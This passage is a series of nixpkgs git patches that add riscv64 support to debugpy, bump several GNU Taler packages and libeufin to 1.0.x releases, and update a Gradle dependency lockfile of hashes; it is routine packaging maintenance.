diff --git a/pkgs/development/python-modules/debugpy/default.nix b/pkgs/development/python-modules/debugpy/default.nix
index e1344bac92f1..61ff197c524e 100644
--- a/pkgs/development/python-modules/debugpy/default.nix
+++ b/pkgs/development/python-modules/debugpy/default.nix
@@ -84,6 +84,7 @@ buildPythonPackage rec {
             "x86_64-linux" = "-shared -o attach_linux_amd64.so";
             "i686-linux" = "-shared -o attach_linux_x86.so";
             "aarch64-linux" = "-shared -o attach_linux_arm64.so";
+            "riscv64-linux" = "-shared -o attach_linux_riscv64.so";
             "x86_64-darwin" = "-D_REENTRANT -dynamiclib -lc -o attach_x86_64.dylib";
             "aarch64-darwin" = "-D_REENTRANT -dynamiclib -lc -o attach_arm64.dylib";
           }
@@ -154,6 +155,7 @@ buildPythonPackage rec {
       "aarch64-linux"
       "x86_64-darwin"
       "aarch64-darwin"
+      "riscv64-linux"
     ];
   };
 }

From 34979d11c85f90b8591f78fad15db24496c4f05f Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Wed, 14 May 2025 09:17:57 +0200
Subject: [PATCH 0220/4511] taler-exchange: 0.14.6-unstable-2025-03-02 ->
 1.0.4; add ngi team

(cherry picked from commit 1207f4428510034a75b2db636981e024db9442a2)
---
 pkgs/by-name/ta/taler-exchange/package.nix | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ta/taler-exchange/package.nix b/pkgs/by-name/ta/taler-exchange/package.nix
index 090db22e04ca..dc4bc7fac66c 100644
--- a/pkgs/by-name/ta/taler-exchange/package.nix
+++ b/pkgs/by-name/ta/taler-exchange/package.nix
@@ -23,13 +23,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "taler-exchange";
-  version = "0.14.6-unstable-2025-03-02";
+  version = "1.0.4";
 
   src = fetchgit {
     url = "https://git.taler.net/exchange.git";
-    rev = "13e058a902a3dbee9d7fe327030b88c2d126675b";
+    tag = "v${finalAttrs.version}";
     fetchSubmodules = true;
-    hash = "sha256-fqlYpFggQkB/IqD6V01ec+G4EtoNaA/FXigM+jqIMe0=";
+    hash = "sha256-k2e9pzy7vSIjCVGOVif9ntYvLcvoJA6J63vB/lg3iwA=";
   };
 
   patches = [ ./0001-add-TALER_TEMPLATING_init_path.patch ];
@@ -125,6 +125,7 @@ stdenv.mkDerivation (finalAttrs: {
     changelog = "https://git.taler.net/exchange.git/tree/ChangeLog";
     license = lib.licenses.agpl3Plus;
     maintainers = with lib.maintainers; [ astro ];
+    teams = with lib.teams; [ ngi ];
     platforms = lib.platforms.linux;
   };
 })

From 3725fa1225ba8d67f5e965deb225ebf4352b0516 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Wed, 14 May 2025 09:18:16 +0200
Subject: [PATCH 0221/4511] taler-merchant: 0.14.6-unstable-2025-03-02 ->
 1.0.1; add ngi team

(cherry picked from commit 9d72a4f1c13ea88ad12138fa94b1582720aaff34)
---
 pkgs/by-name/ta/taler-merchant/package.nix | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ta/taler-merchant/package.nix b/pkgs/by-name/ta/taler-merchant/package.nix
index 4372de34d697..fc5c87e56816 100644
--- a/pkgs/by-name/ta/taler-merchant/package.nix
+++ b/pkgs/by-name/ta/taler-merchant/package.nix
@@ -18,13 +18,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "taler-merchant";
-  version = "0.14.6-unstable-2025-03-02";
+  version = "1.0.1";
 
   src = fetchgit {
     url = "https://git.taler.net/merchant.git";
-    rev = "c84ed905e2d4af60162a7def5c0fc430394930e6";
+    tag = "v${finalAttrs.version}";
     fetchSubmodules = true;
-    hash = "sha256-LXmrY8foiYOxCik23d3f4t9+tldbm7bVGG8eQOLsm+A=";
+    hash = "sha256-H/JqMGLP0u68g/bMqsollAk6sKL73TCZ9no49psYST0=";
   };
 
   postUnpack = ''
@@ -104,6 +104,7 @@ stdenv.mkDerivation (finalAttrs: {
     changelog = "https://git.taler.net/merchant.git/tree/ChangeLog";
     license = lib.licenses.agpl3Plus;
     maintainers = with lib.maintainers; [ astro ];
+    teams = with lib.teams; [ ngi ];
     platforms = lib.platforms.linux;
   };
 })

From b4cc2ad9eb1a29b2a361a380490a3272d92b0355 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Wed, 14 May 2025 09:18:35 +0200
Subject: [PATCH 0222/4511] taler-sync: 0.14.2-unstable-2025-03-02 -> 1.0.0;
 add ngi team

(cherry picked from commit a0a048380ea35ef7b037943e6b8ff163beeda9fa)
---
 pkgs/by-name/ta/taler-sync/package.nix | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ta/taler-sync/package.nix b/pkgs/by-name/ta/taler-sync/package.nix
index 7eb982f9b120..43f5fad03afd 100644
--- a/pkgs/by-name/ta/taler-sync/package.nix
+++ b/pkgs/by-name/ta/taler-sync/package.nix
@@ -19,12 +19,12 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "taler-sync";
-  version = "0.14.2-unstable-2025-03-02";
+  version = "1.0.0";
 
   src = fetchgit {
     url = "https://git.taler.net/sync.git";
-    rev = "10d0e97f191a8bd7de07049559a2eccb29a78507";
-    hash = "sha256-aihxgknPCE8tbRfncbMO/zHGg395LHVuXWyln2ryiCw=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-di+AgCCgOTvzR6Fberz1ISo6ZT+OsKikeNCU2HZHSz4=";
   };
 
   strictDeps = true;
@@ -58,6 +58,7 @@ stdenv.mkDerivation (finalAttrs: {
     homepage = "https://git.taler.net/sync.git";
     license = lib.licenses.agpl3Plus;
     maintainers = with lib.maintainers; [ wegank ];
+    teams = with lib.teams; [ ngi ];
     platforms = lib.platforms.linux;
   };
 })

From b5b6941a67836fab2285574e9909129fadf3fcaa Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Wed, 14 May 2025 09:18:55 +0200
Subject: [PATCH 0223/4511] taler-wallet-core: 0.14.1 -> 1.0.12

(cherry picked from commit cacdf3d2ff65f1377b8adb0aae638bb1393141ea)
---
 pkgs/by-name/ta/taler-wallet-core/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ta/taler-wallet-core/package.nix b/pkgs/by-name/ta/taler-wallet-core/package.nix
index 815f77cbae09..43f7cf4d89c5 100644
--- a/pkgs/by-name/ta/taler-wallet-core/package.nix
+++ b/pkgs/by-name/ta/taler-wallet-core/package.nix
@@ -37,12 +37,12 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "taler-wallet-core";
-  version = "0.14.1";
+  version = "1.0.12";
 
   src = fetchgit {
-    url = "https://git.taler.net/wallet-core.git";
-    rev = "v${finalAttrs.version}";
-    hash = "sha256-Sae83qGPqVwuxKf30zHCmdOoo5rDPBHKSOE1hxNn7Xo=";
+    url = "https://git.taler.net/taler-typescript-core.git";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-lTFiaIgkPw0FhrpYPwg5/MMl8Yo1MfkDPYEDSJ11rQ8=";
   };
 
   nativeBuildInputs = [
@@ -56,7 +56,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-BVVmv0VVvQ2YhL0zOKiM1oVKJKvqwMGNR47DkcCj874=";
+    hash = "sha256-pLe5smsXdzSBgz/OYNO5FVEI2L6y/p+jMxEkzqUaX34=";
   };
 
   buildInputs = [ nodejs_20 ];

From 36fdf9d056c369d2c4d3279b4352f630cb44ad9a Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Wed, 14 May 2025 09:19:32 +0200
Subject: [PATCH 0224/4511] taler-challenger: 0.14.3-unstable-2025-02-17 ->
 1.0.0; add ngi team

(cherry picked from commit d6b6201f43ea24811375d4a2646e20fcff53352f)
---
 pkgs/by-name/ta/taler-challenger/package.nix | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ta/taler-challenger/package.nix b/pkgs/by-name/ta/taler-challenger/package.nix
index c59e90506bd2..288b2c06b36f 100644
--- a/pkgs/by-name/ta/taler-challenger/package.nix
+++ b/pkgs/by-name/ta/taler-challenger/package.nix
@@ -21,12 +21,12 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "taler-challenger";
-  version = "0.14.3-unstable-2025-02-17";
+  version = "1.0.0";
 
   src = fetchgit {
     url = "https://git.taler.net/challenger.git";
-    rev = "e49e33a13df92c6a1d6f119775baa31778163531";
-    hash = "sha256-AOtCx/r6JzwOSF3b3lDeY0/S+dGGNrJELerFoQ/K4tA=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-ZKRqNlva3LZCuAva7h6Wk2NIuHF3rReR+yNETqbCv1k=";
   };
 
   # https://git.taler.net/challenger.git/tree/bootstrap
@@ -76,6 +76,7 @@ stdenv.mkDerivation (finalAttrs: {
     homepage = "https://git.taler.net/challenger.git";
     license = lib.licenses.agpl3Plus;
     maintainers = with lib.maintainers; [ wegank ];
+    teams = with lib.teams; [ ngi ];
     platforms = lib.platforms.linux;
   };
 })

From 24f287ffee2ddc310f25efaadb07c3cb77b71667 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Wed, 14 May 2025 09:24:32 +0200
Subject: [PATCH 0225/4511] libeufin: 0.13.0 -> 1.0.2; add ngi team

(cherry picked from commit 4ee41ea961ef70689377ba816bcbe07d8ab09aad)
---
 pkgs/by-name/li/libeufin/deps.json   | 1737 ++++++++++++++------------
 pkgs/by-name/li/libeufin/package.nix |   11 +-
 2 files changed, 923 insertions(+), 825 deletions(-)

diff --git a/pkgs/by-name/li/libeufin/deps.json b/pkgs/by-name/li/libeufin/deps.json
index a8bd14c57102..1019bab940f7 100644
--- a/pkgs/by-name/li/libeufin/deps.json
+++ b/pkgs/by-name/li/libeufin/deps.json
@@ -2,17 +2,6 @@
  "!comment": "This is a nixpkgs Gradle dependency lockfile. For more details, refer to the Gradle section in the nixpkgs manual.",
  "!version": 1,
  "https://plugins.gradle.org/m2": {
-  "ch/qos/logback#logback-classic/1.5.6": {
-   "jar": "sha256-YRXGysXtHZ24ENFPL39N1qnyHwrLuoAW5NqsoroPXrg=",
-   "pom": "sha256-SysA32EjwOKmHnG1vis/AHOWeLtLBplA1cScJN9T9Zo="
-  },
-  "ch/qos/logback#logback-core/1.5.6": {
-   "jar": "sha256-iYx9EgGZ834azIEY2XqxWk0CsOcuJ7qfBYQ8s3ThYMY=",
-   "pom": "sha256-BpPQaN02h3R1rYCQbjHHvA1RlbgtTAB1HcGcHqUR5xE="
-  },
-  "ch/qos/logback#logback-parent/1.5.6": {
-   "pom": "sha256-e9/LJJJGgaSRRNujSpJ7i9B5INCS6sw972H55kevTeg="
-  },
   "com/fasterxml#oss-parent/38": {
    "pom": "sha256-yD+PRd/cqNC2s2YcYLP4R4D2cbEuBvka1dHBodH5Zug="
   },
@@ -22,8 +11,8 @@
   "com/fasterxml#oss-parent/50": {
    "pom": "sha256-9dpV3XuI+xcMRoAdF3dKZS+y9FgftbHQpfyGqhgrhXc="
   },
-  "com/fasterxml#oss-parent/56": {
-   "pom": "sha256-/UkfeIV0JBBtLj1gW815m1PTGlZc3IaEY8p+h120WlA="
+  "com/fasterxml#oss-parent/58": {
+   "pom": "sha256-VnDmrBxN3MnUE8+HmXpdou+qTSq+Q5Njr57xAqCgnkA="
   },
   "com/fasterxml/jackson#jackson-base/2.12.7": {
    "pom": "sha256-F55U/ibI1N/pJf7jHUqH0cwl+LfgCUik5laxIp4rdq4="
@@ -31,14 +20,14 @@
   "com/fasterxml/jackson#jackson-bom/2.12.7": {
    "pom": "sha256-GVVDL22K8ygG2C2CGP7f5L47s+I9WadNgUSf/HS/e9E="
   },
-  "com/fasterxml/jackson#jackson-bom/2.16.1": {
-   "pom": "sha256-adi/myp9QsnPHXCtgr5C9qxv14iRim4ddXkuzcwRegs="
+  "com/fasterxml/jackson#jackson-bom/2.17.2": {
+   "pom": "sha256-H0crC8IATVz0IaxIhxQX+EGJ5481wElxg4f9i0T7nzI="
   },
   "com/fasterxml/jackson#jackson-parent/2.12": {
    "pom": "sha256-YqocFnmt4J8XPb8bbDLTXFXnWAAjj9XkjxOqQzfAh1s="
   },
-  "com/fasterxml/jackson#jackson-parent/2.16": {
-   "pom": "sha256-i/YUKBIUiiq/aFCycvCvTD2P8RIe1gTEAvPzjJ5lRqs="
+  "com/fasterxml/jackson#jackson-parent/2.17": {
+   "pom": "sha256-rubeSpcoOwQOQ/Ta1XXnt0eWzZhNiSdvfsdWc4DIop0="
   },
   "com/fasterxml/jackson/core#jackson-annotations/2.12.7": {
    "jar": "sha256-PKzvcUqJ89aLafoRJjr6VaaqL97x//k97SLKoWtUaHw=",
@@ -81,50 +70,151 @@
    "jar": "sha256-ySjWBmXGQV+xw5d1z5XPxE9/RYDPWrAbHDgOv/12iH8=",
    "pom": "sha256-SDllThaxcU509Rq8s3jYNWgUq49NUnPR3S8c6KOQrdw="
   },
-  "com/github/ajalt/clikt#clikt-jvm/4.4.0": {
-   "jar": "sha256-3UJMfEETwRTvwQPaP6uCzL7nSElwEpwHZKRXi1hnc3E=",
-   "module": "sha256-+7VuRAdirxrynHnd26lK40PX+e8ha6m57IjMkaxhoMs=",
-   "pom": "sha256-EsmrEMyQ/YPRPASDj5a8q/NksORNjdJ65V4VLGMxPA4="
+  "com/github/ajalt/clikt#clikt-core-jvm/5.0.3": {
+   "jar": "sha256-acupSiKR90t4yII5zYtn6vPwjg2tKXdJq+ZHez6bgbE=",
+   "module": "sha256-dFtZmw9KoAz3AVYz429KVvJdGLy292htyrOxoRQZ3PE=",
+   "pom": "sha256-CPpCgzMVYwi9KLYyNih6MXIVLcu/ccgx4LOshiPl4XE="
   },
-  "com/github/ajalt/clikt#clikt/4.4.0": {
-   "jar": "sha256-pGJRQhCAqew0Cm92KHhUIOuyx9Ccw7BVOZ+j+676doY=",
-   "module": "sha256-Z84+Rk1+r4GaBRQVd6IERrjkWbfk6RqCzoh7WKiOrWg=",
-   "pom": "sha256-lrjYoujSS0misWTzN9LnAW3aiURAFFgNv/R4nilVZGk="
+  "com/github/ajalt/clikt#clikt-core/5.0.3": {
+   "jar": "sha256-KeBaQXAKBp8NEHSOp9Xwyb8OFjbUsQNXPj98X3q7fDo=",
+   "module": "sha256-CmMddfhkwX5dYQBfYDwSaUtGcy3s1cOckU0pLQXo6zM=",
+   "pom": "sha256-wrBLaB6IqaGSgLZW2mBKIfLj4lUih2i4maaLoejuYBU="
   },
-  "com/github/ajalt/colormath#colormath-jvm/3.5.0": {
-   "jar": "sha256-Q5NdsGVYtKrD3ZAKd1vj6JtUyfSIYBRX3yfSoXQxZ7A=",
-   "module": "sha256-51pnwJ14NuUBlxvoNHiCxmFpsgcn3S4sQjmT8VLuAns=",
-   "pom": "sha256-YGXSHOrrGuPcE0P00XWKWojHTj5hwg60TUknp8G3MtY="
+  "com/github/ajalt/clikt#clikt-jvm/5.0.3": {
+   "jar": "sha256-nNGeBHgvRh3/6xg9F+V2mE/rt5NJMstAZkasQeQohjs=",
+   "module": "sha256-nSm2J+l1mRLhJ+r7136GAYceul6qUthMgXUKiYIC8Xc=",
+   "pom": "sha256-CcAbsS0foX/hKcoSgvHpmpCAEbGDA5ptT8z2tclaTos="
   },
-  "com/github/ajalt/colormath#colormath/3.5.0": {
-   "jar": "sha256-vSKbrzuv1VbRid5yRx2dF8KaofXTJEVgJwvvjmOiMZo=",
-   "module": "sha256-WgMLkC+VqHlsIUX2sppgwpeNxmQR4I6miLT7eK6p7wk=",
-   "pom": "sha256-HZZBrdkDXN1gex2qgJ7sFks8m6zFTysQOFHu1FHRefc="
+  "com/github/ajalt/clikt#clikt/5.0.3": {
+   "jar": "sha256-qLzj6fI3DFVs1FG2AY5Yfu1LCfO3jr72SP2D874LgPw=",
+   "module": "sha256-vNNPHTxGfvq1FuoiqeeazD8SRJxIl/DF6sGCEnMizsY=",
+   "pom": "sha256-GwUigSeaOs6FY7svHtP1Khs9Rq15w9T2wzMjI+VzX9g="
   },
-  "com/github/ajalt/mordant#mordant-jvm/2.5.0": {
-   "jar": "sha256-E9wdFUB0kM+j6bxUAQ8DHWpcUrc100FcxxRPC0aAqtc=",
-   "module": "sha256-HDNjczAEy0z54b/mT9xjIiW8dTXVbrhxApdGf8V7wK8=",
-   "pom": "sha256-095n7fFjX1ytZvkcVnXx+IfJDTuVlPfngQUgfxK04F0="
+  "com/github/ajalt/colormath#colormath-jvm/3.6.0": {
+   "jar": "sha256-WfdBrf5iBTBmeC2LGkWv0GaFpLxkszJ35Uh2uZPtiFw=",
+   "module": "sha256-P6dnMPmJ4ChN8YL87IViDZtIrjIhOYhBrGyviEYvYvg=",
+   "pom": "sha256-8Dw11QURDQZzNF9HQOVbzZdqmp+lobE8qirTmPO8Hl0="
   },
-  "com/github/ajalt/mordant#mordant/2.5.0": {
-   "jar": "sha256-j80uWaxhZQy8d7paxqDaZlMD6xvVURejzZSpi+ir0xM=",
-   "module": "sha256-KMoVBsOzOqA5GK9FWSHfiv49oLtN3O5sezdOAG3g4bY=",
-   "pom": "sha256-CM7jeOmaKfiAw1DUfe6R2H1ypc75WfaoysEd2FYT4VU="
+  "com/github/ajalt/colormath#colormath/3.6.0": {
+   "jar": "sha256-49ox0EqJXlNfXQh2TM9fODQcQr99aNqW6h8ACfclmdY=",
+   "module": "sha256-aQeqSXrbmvY4EsdTZjic7T5ruL7oDnsjmttMU2c/iIQ=",
+   "pom": "sha256-zh3tjA259LxNNjS64Vn9jVu2qWDyzTuWoAyPDnnOZAs="
   },
-  "com/google/code/gson#gson-parent/2.8.9": {
-   "pom": "sha256-sW4CbmNCfBlyrQ/GhwPsN5sVduQRuknDL6mjGrC7z/s="
+  "com/github/ajalt/mordant#mordant-core-jvm/3.0.1": {
+   "jar": "sha256-nPm0bR9J8tbPJjVGKyncWeDCmx+y8IWzMSiIu+nHzTE=",
+   "module": "sha256-5HRMRxB05ezUFh9wcLRZTfAO8XivBEJlkF5e0c61rJI=",
+   "pom": "sha256-1Ylt5eNKnVarJ4Y5iyYHJLGB85zAUIy7Kh9+iGzSXYc="
   },
-  "com/google/code/gson#gson/2.8.9": {
-   "jar": "sha256-05mSkYVd5JXJTHQ3YbirUXbP6r4oGlqw2OjUUyb9cD4=",
-   "pom": "sha256-r97W5qaQ+/OtSuZa2jl/CpCl9jCzA9G3QbnJeSb91N4="
+  "com/github/ajalt/mordant#mordant-core-jvm/3.0.2": {
+   "jar": "sha256-ZRw710/06Y201Y49z0sU6Ame4NIg5nL1cfjP7uRJOQU=",
+   "module": "sha256-5ye2C+d8MTeuuy+nqdhdGF+rt5BNlE3CFTnULAEdNZA=",
+   "pom": "sha256-BOsXQTz97is1U2zyHDT5pD/4u/7J7BAURbLuKsnh/7k="
   },
-  "com/gradleup/shadow#com.gradleup.shadow.gradle.plugin/8.3.0": {
-   "pom": "sha256-v4nrgYvl5YKQuLGSYalP1ycSEJWE2vjPXXRDsNEpN/o="
+  "com/github/ajalt/mordant#mordant-core/3.0.1": {
+   "jar": "sha256-c/UXnY6U+FEUR18Zlo0WWURZTmszjbcciwv9sJUe6z4=",
+   "module": "sha256-BWl6xcBV8Uh2cJ/U6f1ejD0VphrHesVy+RZEmTKgjC8=",
+   "pom": "sha256-Ah3YAdKdWJlqDJv/ux8VHWkHytU20syNGnoHuck4UNo="
   },
-  "com/gradleup/shadow#shadow-gradle-plugin/8.3.0": {
-   "jar": "sha256-mNZNyTlAaZ+ko08P2CnncTSnaPriB6fi7HY8pnOsQz4=",
-   "module": "sha256-dFY5K5OxTedRzEyztww70HaO3M9WjwUUdNSNjgQEYyA=",
-   "pom": "sha256-ozYhcmY11AgiPW2oCANhI+iD8CEtVa8kAa9BhKPZuX8="
+  "com/github/ajalt/mordant#mordant-core/3.0.2": {
+   "jar": "sha256-RyqVWswFRZLut06lYmFaaJxnTmPSbRLovo2nqF4bs3w=",
+   "module": "sha256-0flx5bMpTkS//zr6RA1843pR1Yg1aw+vsJDARrDpzgc=",
+   "pom": "sha256-Oh+bdkH+E7uMTwdCaSPmW5iPZqsPK5w5NwYn8qjZGis="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-ffm-jvm/3.0.1": {
+   "jar": "sha256-IEHC9fe4cJWxFcsZFV7pJXRRhU0I5bhnEWW0O8fhFM8=",
+   "module": "sha256-iE1x/LfBAQrm11qoka5UqYmGEVSwfxIVzVRfDkg34V0=",
+   "pom": "sha256-azbnZhrYKN4DoomS2K6WJWzq3z/aEo+OxImo1lu7rFM="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-ffm-jvm/3.0.2": {
+   "jar": "sha256-ECJHhBJcnxeCwdTx0489VCNvzFXAMKKtAMvkMG4WK6Q=",
+   "module": "sha256-S4/mRlOuA7eSFrXFoOwm1Uyg+VMr3HKY3kCCpaOIcZI=",
+   "pom": "sha256-1quALOXImBg+w59ikbupM2s6e19+Hb0uuC++QZ5amjM="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-ffm/3.0.1": {
+   "module": "sha256-2Frg+0n7bXFHibQ/MbVnUoybit+G0Ou5hpSkGpHgmmc=",
+   "pom": "sha256-/MzpL8GhnxYzgGhDyuVTLIx/2YSnkxRbb7y3iUpk/s0="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-ffm/3.0.2": {
+   "module": "sha256-G9cU09l4urfa1Wt8lIWwH7ta3brEnUvpyDVKw3bOP3Y=",
+   "pom": "sha256-q57bn0Sq3RRIEnJSwVhKgWIfhFxXKcPZn+JJNO6YpEw="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-graal-ffi-jvm/3.0.1": {
+   "jar": "sha256-bdS+vBZK6s3azI+Y6Phx4A/SHOe8LrDRgjDqg73fyGo=",
+   "module": "sha256-DYGba/u8pO6XszB4ZoEpaQdmr/lI/ByDF4j04DSFOsM=",
+   "pom": "sha256-Cm95LxyTYJX4dGmR1k2os/+ECazeOUir5d4v1WiIeDo="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-graal-ffi-jvm/3.0.2": {
+   "jar": "sha256-bdS+vBZK6s3azI+Y6Phx4A/SHOe8LrDRgjDqg73fyGo=",
+   "module": "sha256-zTCkXAow9xwszIyDuOx+TO7DOHGPZoWT+MN839OYwbA=",
+   "pom": "sha256-jrQ4E5SEKRUjq2iWHlZIJmqu8dHvROHF7n0FBLta33A="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-graal-ffi/3.0.1": {
+   "module": "sha256-qu/aIGckg7OwsmDdHvE0LOazTs6IutbfOa4bJgUMjAo=",
+   "pom": "sha256-VAicrH9XCzo84x3cCD+ORgs7ED62oXM8kUE1GgaLR/M="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-graal-ffi/3.0.2": {
+   "module": "sha256-5QTKuCsTKnisa5by3i8IjmP1XHiDfPqdoufR3uDp3y0=",
+   "pom": "sha256-+046A/nMtnRJ2FPS40ZX6eComtgiDVEX5Kq91dn9bmU="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-jna-jvm/3.0.1": {
+   "jar": "sha256-QQY0QsiJGyd0U2qbh6UGKn/SDm8ZSZdMbacvSUctb00=",
+   "module": "sha256-eBcNkl07qnWGYvl2M2FjkN6Q1CoslON2PqpZBXY3jh4=",
+   "pom": "sha256-/hWoxktH4H8vmdiDKG5O+xR0YkVlh0ayVQ9vlohkX4A="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-jna-jvm/3.0.2": {
+   "jar": "sha256-QQY0QsiJGyd0U2qbh6UGKn/SDm8ZSZdMbacvSUctb00=",
+   "module": "sha256-Qx5V+e+NeSxaeF4BRtg19MKuDphY+kIPneBgJoKncSY=",
+   "pom": "sha256-HyiNXD3pQTR2DhhZRwlKvWXv2mqNIfk/Mvq+9olO5Is="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-jna/3.0.1": {
+   "module": "sha256-cn+1FiNOi6/JJ5Xi7L0No4VNcjoWxphCrGGSC/WIebk=",
+   "pom": "sha256-xbxkikqeKmz3+dGAJMi/ZrIYCVDpPxYIODTHv/OqeGE="
+  },
+  "com/github/ajalt/mordant#mordant-jvm-jna/3.0.2": {
+   "module": "sha256-uAoLhp3AhMEeELXnFg6/GJ521ulQgweRanhWf6dnw+U=",
+   "pom": "sha256-uWV/1B1fmGNAXdJ1zzm5PQ+rwJj7lEHAoV3HZcFTaDw="
+  },
+  "com/github/ajalt/mordant#mordant-jvm/3.0.1": {
+   "jar": "sha256-ntO5dvzMx42nRtSYZvqOu48QUwqTxUTqBCAlmmB92V4=",
+   "module": "sha256-peTyMSt69CDG2DLDA4kcGg2GN8z6WpTYnxFGxIZpgLo=",
+   "pom": "sha256-sAnaTDfbjhc2uEgrRPIJ2Cdx/xyNO9+UbraE07nOmWU="
+  },
+  "com/github/ajalt/mordant#mordant-jvm/3.0.2": {
+   "jar": "sha256-ntO5dvzMx42nRtSYZvqOu48QUwqTxUTqBCAlmmB92V4=",
+   "module": "sha256-ePaERgODJINNruNw9ZfWJIsDz6/pZAWtwrbdZs38P4w=",
+   "pom": "sha256-O3C9sHYLuSTrdwmcb8f0kyLFkbZ39YHvS7i+xYhbnEI="
+  },
+  "com/github/ajalt/mordant#mordant/3.0.1": {
+   "jar": "sha256-CQmE0gJpL/70R+iN/ixjaTpd4pZw2ggxuGO8KE2hR+I=",
+   "module": "sha256-lJLcf2NgJt8ulCkim52Ae1d00uZBUQ2Qv4Kb0qyzthU=",
+   "pom": "sha256-BlK5t9Y0kro8J8ZIkANIZRxbKFdEAph7j+KqBUlqkaQ="
+  },
+  "com/github/ajalt/mordant#mordant/3.0.2": {
+   "jar": "sha256-CQmE0gJpL/70R+iN/ixjaTpd4pZw2ggxuGO8KE2hR+I=",
+   "module": "sha256-1JvlTnf/S5YQ3C8ij4HcBlaqklvHJYj2JFjbWZiVCVE=",
+   "pom": "sha256-5cbZkBgl3gKJ5J0tt1A+A546FmCq2sY3Oyp2zd9eZRM="
+  },
+  "com/google/code/gson#gson-parent/2.11.0": {
+   "pom": "sha256-issfO3Km8CaRasBzW62aqwKT1Sftt7NlMn3vE6k2e3o="
+  },
+  "com/google/code/gson#gson/2.11.0": {
+   "jar": "sha256-V5KNblpu3rKr03cKj5W6RNzkXzsjt6ncKzCcWBVSp4s=",
+   "pom": "sha256-wOVHvqmYiI5uJcWIapDnYicryItSdTQ90sBd7Wyi42A="
+  },
+  "com/google/errorprone#error_prone_annotations/2.27.0": {
+   "jar": "sha256-JMkjNyxY410LnxagKJKbua7cd1IYZ8J08r0HNd9bofU=",
+   "pom": "sha256-TKWjXWEjXhZUmsNG0eNFUc3w/ifoSqV+A8vrJV6k5do="
+  },
+  "com/google/errorprone#error_prone_parent/2.27.0": {
+   "pom": "sha256-+oGCnQSVWd9pJ/nJpv1rvQn4tQ5tRzaucsgwC2w9dlQ="
+  },
+  "com/gradleup/shadow#com.gradleup.shadow.gradle.plugin/8.3.6": {
+   "pom": "sha256-vI+Lii1Izey8uwCD39qhI2EVvzDYzJ3foE1W6T7J3e4="
+  },
+  "com/gradleup/shadow#shadow-gradle-plugin/8.3.6": {
+   "jar": "sha256-fOIOvwHuKe7FJFY70UK6wpHXUTXtedDZUamP0skmXDs=",
+   "module": "sha256-+8pm1Bwrz9HiUE9uzIIf4BqbAIx27qnJQM+Ay1aaI/8=",
+   "pom": "sha256-lRJfSJrSuJ5gJXMmnK9h9tSF26gvHcuNCYDODfK2stA="
   },
   "com/itextpdf#barcodes/8.0.5": {
    "jar": "sha256-JxLhfu2Mxizw7c7ZfZI+WBSo9Py3PiiZmBfy7ePTNUI=",
@@ -188,25 +278,25 @@
    "jar": "sha256-P3XR7KqtP/nBoCRE5Te6xasxgcuU6tPLotFY+QkIOGo=",
    "pom": "sha256-ZyRMu8oNwyJ6H+w75zWKHRM2i5biTzgz8TQzztgGt78="
   },
-  "com/kohlschutter#kohlschutter-parent-multirelease/1.7.3": {
-   "pom": "sha256-6DgZawRZPyy3ORdGe0Vc0tIxgwOJ/jXZ2G5PsVTjIh8="
+  "com/kohlschutter#kohlschutter-parent-multirelease/1.7.4": {
+   "pom": "sha256-D4WGWIXlDWSBYqF+qhLiTeZ4j6yg4mwiYfPoS5WF8Zw="
   },
-  "com/kohlschutter#kohlschutter-parent/1.7.3": {
-   "pom": "sha256-EJ4IdUJFTv6SA9to/SXg4lnGxQrZAfnC3Ertx+HxlvA="
+  "com/kohlschutter#kohlschutter-parent/1.7.4": {
+   "pom": "sha256-HGRVEFa32Vf9vGl/AHQgZqpKr9VAh9WXo7lEJxEjBO4="
   },
-  "com/kohlschutter/junixsocket#junixsocket-common/2.10.0": {
-   "jar": "sha256-g/e2Qij4EECSqw+HvkpYg1RfHkyHGaxej+70LjRpD7U=",
-   "pom": "sha256-yeTNYUy1zlSVY5yDYtGhlIgIzwsJ4yrhsnjwSZVaPkE="
+  "com/kohlschutter/junixsocket#junixsocket-common/2.10.1": {
+   "jar": "sha256-GeX3YVrSKT81Mrw/mRsxOWwRYYNOidmmqgx975OcZyk=",
+   "pom": "sha256-HLsKDl8eqevLRfOWJTaNBzvd+Wr8fNzYgBZlMxg5VsI="
   },
-  "com/kohlschutter/junixsocket#junixsocket-core/2.10.0": {
-   "pom": "sha256-KqC24es8CcF2S8Zn4tKYbxJfBgDbnfpahWdpoOOhZ3I="
